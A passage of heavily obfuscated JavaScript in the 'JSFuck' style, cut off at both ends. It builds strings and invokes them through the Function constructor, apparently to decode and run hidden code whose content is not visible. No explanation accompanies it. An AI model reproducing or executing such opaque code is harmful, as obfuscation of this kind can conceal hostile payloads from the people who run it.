[])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + ([][[]] + [])[+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+!+[]]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (![] + [])[+[]]) + (!![] + [])[+[]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + ([][[]] + [])[+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+!+[]]] + (!+[] + !+[] + !+[] + !+[] + [+[]]) + []) + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + ([][[]] + [])[+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+!+[]]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (![] + [])[+[]]) + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]][([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]]((!![] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + ([][[]] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+!+[]] + (+[![]] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+!+[]]] + ([][[]] + [])[+[]] + ([][[]] + [])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + 